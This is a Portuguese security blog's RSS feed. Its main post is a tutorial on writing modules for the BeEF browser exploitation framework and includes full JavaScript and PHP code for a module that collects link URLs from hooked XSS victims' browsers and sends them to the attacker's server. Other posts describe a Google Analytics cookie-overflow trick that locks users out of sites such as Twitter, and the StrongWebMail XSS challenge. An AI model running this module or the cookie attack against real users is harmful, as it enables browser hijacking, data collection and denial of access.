		<title>BeEF: O que é e Como programar Módulos (pt 1)</title>
		<link>http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/</link>
		<comments>http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/#comments</comments>
		<pubDate>Fri, 16 Oct 2009 07:19:31 +0000</pubDate>
		<dc:creator>Gabriel Coutinho de Lima</dc:creator>
				<category><![CDATA[Desenvolvimento, Frameworks, etc]]></category>
		<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[beef]]></category>
		<category><![CDATA[módulo]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=212</guid>
		<description><![CDATA[ Browser Exploitation Framework, ou BeEF, é uma ferramenta que oferece controle em tempo real a &#8220;vítimas&#8221; (que se transformarão, na verdade, em &#8220;Zumbies&#8221;) que navegam em sites vulneráveis a cross-site scripting, contendo o código do framework injetado.
Com o BeEF, você pode visualizar informações diversas de cada Zumbie conectado e os enviar códigos para determinadas [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-o-que-e-e-como-programar-modulos-pt-1%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-o-que-e-e-como-programar-modulos-pt-1%2F" height="61" width="51" /></a></div><p><img class="alignleft size-full wp-image-214" title="beef" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/beef1.jpg" alt="beef" width="187" height="139" /> <strong>Browser Exploitation Framework</strong>, ou <strong>BeEF</strong>, é uma ferramenta que oferece controle em tempo real a &#8220;vítimas&#8221; (que se transformarão, na verdade, em &#8220;Zumbies&#8221;) que navegam em sites vulneráveis a cross-site scripting, contendo o código do framework injetado.</p>
<p>Com o BeEF, você pode visualizar informações diversas de cada Zumbie conectado e os enviar códigos para determinadas funções. Tais códigos vão de simples alertas exibidos em seus navegadores até a  Port Scan em hosts remotos ou internos.</p>
<p>Em sua versão 0.4, o potencial do BeEF aumentou com a integração com o <strong>Metasploit</strong>, através de XMLRPC. Exploits de navegadores, incluindo o utilitário &#8220;Browser Autopwn&#8221; que procura por versões vulneráveis de plugins e do próprio navegador da vítima,  podem ser iniciadas diretamente do BeEF, em poucos clicks.</p>
<p>Não tem segredo: BeEF é uma ferramenta fácil de se usar. Foi programada em PHP e possui uma interface bem amigável. Faça o download em <a href="http://www.bindshell.net/tools/beef">http://www.bindshell.net/tools/beef</a> . Mas lembre-se: Você precisará de um ambiente como Apache + PHP. (Não é necessário banco de dados. Os dados coletados são armazenados em arquivos de texto.)<br />
<img class="aligncenter size-full wp-image-241" title="screenbeef2" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/screenbeef2.jpg" alt="screenbeef2" width="523" height="251" /></p>
<p>Mas é claro, o melhor do BeEF é a facilidade da criação de novos modulos, o que nos da a certeza de que é uma ferramenta que, com a ajuda da comunidade, estará cada dia melhor. Então, vamos à primeira parte sobre <strong>Criação de Módulos para o BeEF:</strong><strong> </strong></p>
<h3><strong><span style="color: #ff6600;">1# Os bastidores do BeEF</span></strong></h3>
<p>Ao entrar em um site com o código JavaScript, o navegador da vítima passa a se comunicar constantemente com o BeEF, &#8220;informando&#8221; que a sessão continua ativa, ou seja, que o Zumbie esta disponível,  e verificando se há códigos de módulos a ser executado. Um dos aspectos positivos, é que o código inicial contém apenas o necessário para a comunicação com o servidor. Os códigos das ações dos módulos são enviandos à vítima e executados apenas quando o <em>hacker</em> determinar.</p>
<h3><strong><strong><span style="color: #ff6600;">2# As Categorias dos Módulos<br />
</span></strong></strong></h3>
<p>Os módulos são organizados por categorias, são elas:</p>
<ul>
<li><strong>Standart Modules: </strong>Módulos de detecção de plugins e configurações de browser, além de comandos de javascript básicos como alerta, &#8220;deface&#8221; (reescrever o conteúdo da página), etc.</li>
<li><strong>Browser Modules: </strong>Módulos que exploram vulnerabilidades, como buffer overflow, em navegadores.</li>
<li><strong>Network Modules:</strong> Módulos de detecção,  exploração de falhas ou interação com serviços na rede.</li>
</ul>
<h3><strong><strong><strong><strong><span style="color: #ff6600;">3# Os arquivos e a organização de um Módulo</span></strong></strong></strong></strong></h3>
<p>Na pasta<strong> /modules/</strong> do BeEF, 3 sub-pastas são encontradas, sendo uma para cada categoria que descrevi acima. Dentro da pasta da categoria, há uma pasta para cada módulo (ex:<strong> /modules/standart/alert_dialog</strong> para o módulo de alertas).</p>
<p>Já nas pastas de cada módulo, vemos que ele é composto por três arquivos:</p>
<ul>
<li><strong>index.php:</strong> A página que será exibida dentro do BeEF para controle das ações do módulo.</li>
<li><strong>name.txt:</strong> Um simples arquivo de texto contendo o nome do módulo que será exibido no menu.</li>
<li><strong>template.js:</strong> O código JavaScript que será enviado ao Zumbie.</li>
</ul>
<h3><strong><strong><strong><strong><strong><strong><strong><strong><span style="color: #ff6600;">4# Mão na massa: Construindo nosso módulo.<br />
</span></strong></strong></strong></strong></strong></strong></strong></strong></h3>
<p>Para demonstrar os padrões usados na framework pelos arquivos index.php e template.js, nada melhor do que criarmos um simples módulo. Como o nosso módulo de exemplo será para listagem de links (URLs) na página atual, o chamaremos de <strong>URL CRAWLER</strong>.</p>
<h4><strong><span style="color: #ff6600;">4.1# Criando a Pasta </span></strong></h4>
<p>O classifiquei como &#8220;Standart&#8221;. Vamos, por tanto, criar a pasta <strong>/modules/standart/url_crawler/ </strong></p>
<h4><strong><span style="color: #ff6600;">4.2# Definindo o Nome </span></strong></h4>
<p>Feito isso, é hora de construirmos os arquivos necessários para seu funcionamento. Começaremos pelo mais simples, o <strong>name.txt</strong> .</p>
<p>Crie um arquivo de texto (txt) de nome <strong>name.txt</strong> contendo APENAS o nome do módulo, no caso, URL Crawler:</p>
<blockquote><p>URL Crawler</p></blockquote>
<h4><strong><span style="color: #ff6600;">4.2# Criando o Código JavaScript</span></strong></h4>
<p>Eis a parte principal da história. É aqui que faremos o código que será executado no navegador da vítima. Abaixo, o código comentado para nosso exemplo:</p>
<pre name="code" class="js">
// Função do_main() é o nome padrão usado no BeEF para a função principal do código.
function do_main(){
// Criamos a variável links, que será um Array contendo as tags &#x3C;&#x61;&#x3E; encontradas no site
var links = document.getElementsByTagName("a");
// Um loop, para que possamos tratar de cada &#x3C;&#x61;&#x3E; encontrado
for ( var i in links ) {
// Verifica se a tag contém o atributo href (link clicável) e se não é uma chamada javascript:
if(links[i].href &amp;&amp; (String(links[i].href).substring(0,11) != "javascript:")) {
// Adiciona a url encontrada na variável retorno
retorno = retorno + '\n' +links[i].href ; }
} }
// Define\Zera a variavel retorno.
var retorno = '';
// Chama função principal
do_main();
// Envia o resultado ao BeEF
return_result(result_id, retorno);
</pre>
<p>O mais importante a ser notado no exemplo dado, é o uso do <strong>return_result(result_id, retorno);</strong>. Esta função pertence ao JS injetado pelo BeEF, e o faz retornar uma informação, contendo o ID correto (result_id) para a ação. Em resumo, sempre que você desejar saber de algo da vítima, deverá usar este comando. Se seu objetivo não é coletar informações, você pode usa-lo para se certificar que a vítima já recebeu e executou o código, como por exemplo:</p>
<pre name="code" class="js">
alert("Teste!");
return_result(result_id, "Alerta executado!");
</pre>
<h4><strong><span style="color: #ff6600;">4.3# Criando o formulário de ativação</span></strong></h4>
<p>Neste primeiro módulo de exemplo, nosso formulário de ativação (a página em que o <em>hacker</em> irá acionar o módulo) será simples, pois deve conter apenas a descrição do módulo e dois botões: O de acionar, e o de definir o módulo como AutoRun. O autor do BeEF usou um padrão bem simples em todos os módulos. Nos próximos posts detalharei mais esta parte, criando páginas com maios opções. Por enquanto, basta seguir o modelo:</p>
<pre name="code" class="html">
<?
	// Copyright (c) 2006-2009, Wade Alcorn
	// All Rights Reserved
	// wade@bindshell.net - http://www.bindshell.net

	require_once("../../../include/common.inc.php"); // included for get_b64_file()
	DEFINE('JS_FILE', './template.js');
?>

<script>

	function get_b64_code_je() {
		// javascript is loaded from a file - it could be hard coded
		var b64code = '<? echo get_b64_file(JS_FILE); ?>';

		return b64code;
	}

	Element.Methods.set_autorun = function() {
               // Insira o nome do módulo no primeiro parâmetro do ar.enable:
		ar.enable('URL Crawler', get_b64_code_je());
	}

	Element.Methods.send_now = function() {
		do_send(get_b64_code_je());
	}

	// add construct code to DOM
	Element.addMethods();

</script>

<!-- Conteúdo do Formulário. Altere o nome e a descrição do módulo -->
<div id="module_header">URL Crawler</div>

Este modulo ira listar todas as URLs de links na pagina.
<div id="module_subsection">
<form name="myform">
<div id="module_subsection_header"></div>
<input class="button" type="button" value=" Set Autorun " onClick="javascript:set_autorun()"/>
<input class="button" type="button" value=" Send Now " onClick="javascript:send_now()"/>
	</form>
</div>
</pre>
<h4><strong><span style="color: #ff6600;">4.4# Ação!</span></strong></h4>
<p>Feito tudo isso, é só ir ao <strong>/beef/ui</strong> em seu navegador e conferir o novo módulo no menu. As URLs listadas aparecerão no log (parte direita do BeEF) e na página de informações individuais de cada Zumbie.</p>
<p>Por hoje é só, mas mais tutoriais sobre BeEF virão. </p>
<p>Espero que tenham gostado.<br />
Fique de olho! <img src='http://www.falandodeseguranca.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Abraços!<br />
Gabriel</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Falando de Segurança está de volta!</title>
		<link>http://www.falandodeseguranca.com/2009/10/falando-de-seguranca-esta-de-volta/</link>
		<comments>http://www.falandodeseguranca.com/2009/10/falando-de-seguranca-esta-de-volta/#comments</comments>
		<pubDate>Fri, 16 Oct 2009 03:51:54 +0000</pubDate>
		<dc:creator>Gabriel Coutinho de Lima</dc:creator>
				<category><![CDATA[Sobre o Blog]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=209</guid>
		<description><![CDATA[Depois de meses sem posts, por motivos diversos, eis o Falando de Segurança de volta, agora em novo formato. Ainda sob WordPress, mas com alguns ajustes aqui e alí: Interação com o Twitter, novas formas de feedback, novo tema, novas classificações para os posts e muito mais. A casa foi reorganizada e agora podemos seguir [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Ffalando-de-seguranca-esta-de-volta%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Ffalando-de-seguranca-esta-de-volta%2F" height="61" width="51" /></a></div><p><img class="alignleft size-full wp-image-210" title="Falando de Segurança" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/fs.jpg" alt="Falando de Segurança" width="187" height="139" />Depois de meses sem posts, por motivos diversos, eis o <strong>Falando de Segurança</strong> de volta, agora em novo formato. Ainda sob WordPress, mas com alguns ajustes aqui e alí: Interação com o Twitter, novas formas de feedback, novo tema, novas classificações para os posts e muito mais. A casa foi reorganizada e agora podemos seguir com o conteúdo.</p>
<p>Conteúdo que por sinal, apartir de agora, tera menos foco em notícias e muito mais em research (novos conceitos, teorias, testes, etc) e em desenvolvimento de exploits, módulos para frameworks, práticas de segurança, etc. Tudo isso ainda na área de Web Apps (Aplicações Web).</p>
<p>É isso. Ainda hoje o primeiro post de conteúdo pós-reestréia. Espero que goste. E é claro, grite por aí, retweet, espalhe, participe! <strong>O Falando de Segurança é de todos! <img src='http://www.falandodeseguranca.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/10/falando-de-seguranca-esta-de-volta/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Google Analytics &#8211; Cookies definidos por Buscas\URL podem comprometer acesso a sites</title>
		<link>http://www.falandodeseguranca.com/2009/06/google-analytics-cookies-definidos-por-buscasurl-podem-comprometer-acesso-a-sites/</link>
		<comments>http://www.falandodeseguranca.com/2009/06/google-analytics-cookies-definidos-por-buscasurl-podem-comprometer-acesso-a-sites/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 05:46:03 +0000</pubDate>
		<dc:creator>Gabriel Coutinho de Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=194</guid>
		<description><![CDATA[&#8230; ou: Como fazer com que um pobre usuário não consiga acessar um site específico. No caso deste post, o Twitter.com .
Ok, antes de irmos direto ao assunto, vamos ao conceito.
Quando seu navegador faz uma requisição HTTP, ele envia um cabeçalho contendo uma série de informações. Tal cabeçalho (ou Header) é constituido, entre outras coisas, [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F06%2Fgoogle-analytics-cookies-definidos-por-buscasurl-podem-comprometer-acesso-a-sites%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F06%2Fgoogle-analytics-cookies-definidos-por-buscasurl-podem-comprometer-acesso-a-sites%2F" height="61" width="51" /></a></div><p>&#8230; ou: <strong>Como fazer com que um pobre usuário não consiga acessar um site específico. </strong>No caso deste post, o Twitter.com .</p>
<p>Ok, antes de irmos direto ao assunto, vamos ao conceito.</p>
<p>Quando seu navegador faz uma requisição HTTP, ele envia um cabeçalho contendo uma série de informações. Tal cabeçalho (ou Header) é constituido, entre outras coisas, de seu user-agent, o arquivo a ser chamado, tipo de requisição (get, post, etc), campos de formulários, codificação dos caracteres, tipo de conteúdo, <strong>cookies</strong>, etc.  Cookies! hmm! Preste atenção nele aí!</p>
<p>Servidores Web costumam ter configurações que especificam quantos bytes serão permitidos no cabeçalho de uma requisição HTTP. Se a soma de todo o header passar dessa quantidade de bytes, ele anula o pedido, retornando erro. No caso do Apache 2.0, o comando que especifica esse valor é o <code><strong>LimitRequestFieldsize</strong>, e seu valor-padrão é <strong>8190</strong></code></p>
<p>Daí a idéia: Se conseguirmos fazer com que um usuário (Lê-se vítima), sempre que acessar um site, esteja com algo em seu header que ultrapasse esse limite, impossibilitariamos o seu acesso. &#8230; e esse alvo, são os cookies!</p>
<p>Pra quem não sabe, &#8220;<em><strong>Cookie</strong></em> é um grupo de dados trocados entre o <a title="Navegador" href="http://pt.wikipedia.org/wiki/Navegador">navegador</a> e o <a title="Servidor" href="http://pt.wikipedia.org/wiki/Servidor">servidor</a> de páginas, colocado num arquivo de texto criado no computador do utilizador.&#8221; (<em>definição da <a href="http://pt.wikipedia.org/wiki/Cookie" target="_blank">wikipedia em português</a></em>) .</p>
<p>Tudo bem, mas&#8230; como faremos para definir um cookie no navegador da vítima, para aquele site específico?</p>
<p>Sirdarckcat, autor da idéia, descobriu no <strong>Google Analytics,</strong> sistema de estatísticas para websites da Google usado em diversos sites, a solução. Para tratar suas estatísticas, o Google Analytics utiliza diversos cookies.  Entre eles, os dois abaixo são ideais para o ataque:</p>
<p><strong>1- Cookie para determinar visitante vindo de um site de busca &#8211; o &#8220;Search result &#8211; organic referers&#8221;</strong></p>
<p>Nas estatísticas geradas pelo Google Analytics, é possível ver quais termos em sites de buscas o rendeu visita. Segundo Sirdarckcat, é possível &#8220;fingir&#8221; uma busca no google usando links como:</p>
<p><span style="text-decoration: underline;">http://google.seudominio.com/search?q=search-term</span><br />
Ao passar um termo de busca grande, o mesmo ocupará um bom espaço no header. Porém, ele, sozinho, não quebrará o limite padrão dos web-servers, pois o limite para cada cookie é de 4192 bytes. A solução? Bem&#8230; definir mais um cookie!</p>
<p><strong>2- Google Analytics Site Overlay &#8211; GASO</strong></p>
<p>Para definir o cookie de nome GASO, basta acessar qualquer página que use o Google Analytics adicionando #gaso=VALOR no final da URL. (ex: http://site.com/pagina.php#gaso=valor-do-cookie)</p>
<p>A junção destes dois cookies usando todo o espaço de 4192 bytes resultará no estouro do limite de espaço para o cabeçalho. O site alvo ficará inacessível até que os cookies sejam excluidos.</p>
<p>Sirdarckcat fez um script para demonstrar esta idéia em ação.</p>
<p>Twitter sem SSL: <a href="http://google.sirdarckcat.net/?v=http://twitter.com/" target="_blank">http://google.sirdarckcat.net/?v=http://twitter.com/</a></p>
<p>Twitter com SSL: <a href="http://google.sirdarckcat.net/?v=https://twitter.com/" target="_blank">http://google.sirdarckcat.net/?v=https://twitter.com/</a></p>
<p>&#8230; e por falar em Twitter, com o uso frequente de encurtadores de URL, seria fácil que pessoas se tornem vítimas deste tipo de &#8220;ataque&#8221;, não?</p>
<p>FONTE: <a href="http://sirdarckcat.blogspot.com/ " target="_blank">http://sirdarckcat.blogspot.com/ </a>e <a href="http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize" target="_blank">http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/06/google-analytics-cookies-definidos-por-buscasurl-podem-comprometer-acesso-a-sites/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>O caso &#8220;StrongWebMail.com&#8221;</title>
		<link>http://www.falandodeseguranca.com/2009/06/o-caso-strongwebmailcom/</link>
		<comments>http://www.falandodeseguranca.com/2009/06/o-caso-strongwebmailcom/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 06:58:28 +0000</pubDate>
		<dc:creator>Gabriel Coutinho de Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=186</guid>
		<description><![CDATA[Não. Eu não podia deixar de comentar sobre o caso mais comentado da última semana:  O desafio do StrongWebMail.com .
Trata-se de um novo serviço que garante a segurança de seu login exigindo que você preencha números que o serão informados por telefone. Se é uma excelente idéia ou não, eu não sei.  Só sei que [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F06%2Fo-caso-strongwebmailcom%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F06%2Fo-caso-strongwebmailcom%2F" height="61" width="51" /></a></div><p>Não. Eu não podia deixar de comentar sobre o caso mais comentado da última semana:  O desafio do StrongWebMail.com .</p>
<p>Trata-se de um novo serviço que garante a segurança de seu login exigindo que você preencha números que o serão informados por telefone. Se é uma excelente idéia ou não, eu não sei.  Só sei que eu não gostaria de ter meu celular tocando a cada vez que fosse conferir minha caixa de entrada. Isso sem contar, é claro, as situações em que o celular não está com você\esta descarregado\fora de área.</p>
<p>Eficiente ou não, a forma com que eles entraram no mercado chamou a a atenção da comunidade de segurança: Propuseram um desafio cujo objetivo era quebrar a segurança do sistema. O prêmio? 10 mil dólares. A empresa estava certamente confiante de que seu produto seguraria a barra&#8230; pelo menos por um bom tempo.  Como vocês podem imaginar, falharam.</p>
<p>A tarefa do desafio era ter acesso ao e-mail do CEO da empresa, obtendo sua caixa de entrada e sua lista de tarefas.</p>
<p>Em poucos minutos,  Lance James e mais dois hackers,  Mike Bailey e Aviv Raff, recrutados por twitter, encontraram uma falha.  Tratava-se de um Cross-site Scripting no campo de Assunto, quando visualizado pelo web-mail.  Segundo Lance, o mais trabalhoso &#8211; que levou aproximadamente 6 horas para ficar pronto &#8211; foi o exploit (código que seria injetado pela falha). Ele capturava mensagens na caixa de entrada, cookies e a lista de tarefas (&#8220;Task lists&#8221;, um dos serviços do site), os enviando para um script na web.</p>
<p>Bastava, então, que alguem entrasse naquele e-mail para o exploit funcionar. Para que isso ocorresse, Lance contatou a equipe de suporte notificando que havia obtido acesso à conta do CEO e que os detalhes estavam em sua caixa de entrada. Isso obrigaria a equipe a logar naquela conta, onde havia o XSS aguardando para ser executado.</p>
<p>Minutos depois, os dados já estavam em mãos. No entanto, inicialmente a empresa alegou que o método usado não seria válido por não se tratar de uma falha específica do sistema de autenticação deles, mas, depois de muito repercutir na web, anunciaram o grupo como vencedores e os pagaram a premiação. No mesmo anúncio, porém, alegaram que o sistema deles não foi burlado, pois o &#8220;hacker teve de encontrar um meio de evitar a verificação telefonica&#8221;, ou seja, o sistema deles ainda é eficiente. Neste ponto, eu concordo, mas não é só no momento de login que a segurança deve ser analisada. E neste aspecto a lição foi muito bem dada. Eles certamente viram que Cross-site Scripting é uma falha séria.</p>
<p>FONTES: <a href="http://www.fireblog.com/exclusive-interview-with-strongwebmails-10000-hacker/">Entrevista com Lance James no blog FireBlog</a> (inglês)<br />
Twitter: <a href="http://www.twitter.com/xssexploits">@XssExploits </a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/06/o-caso-strongwebmailcom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 0.488 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2010-03-10 02:30:32 -->
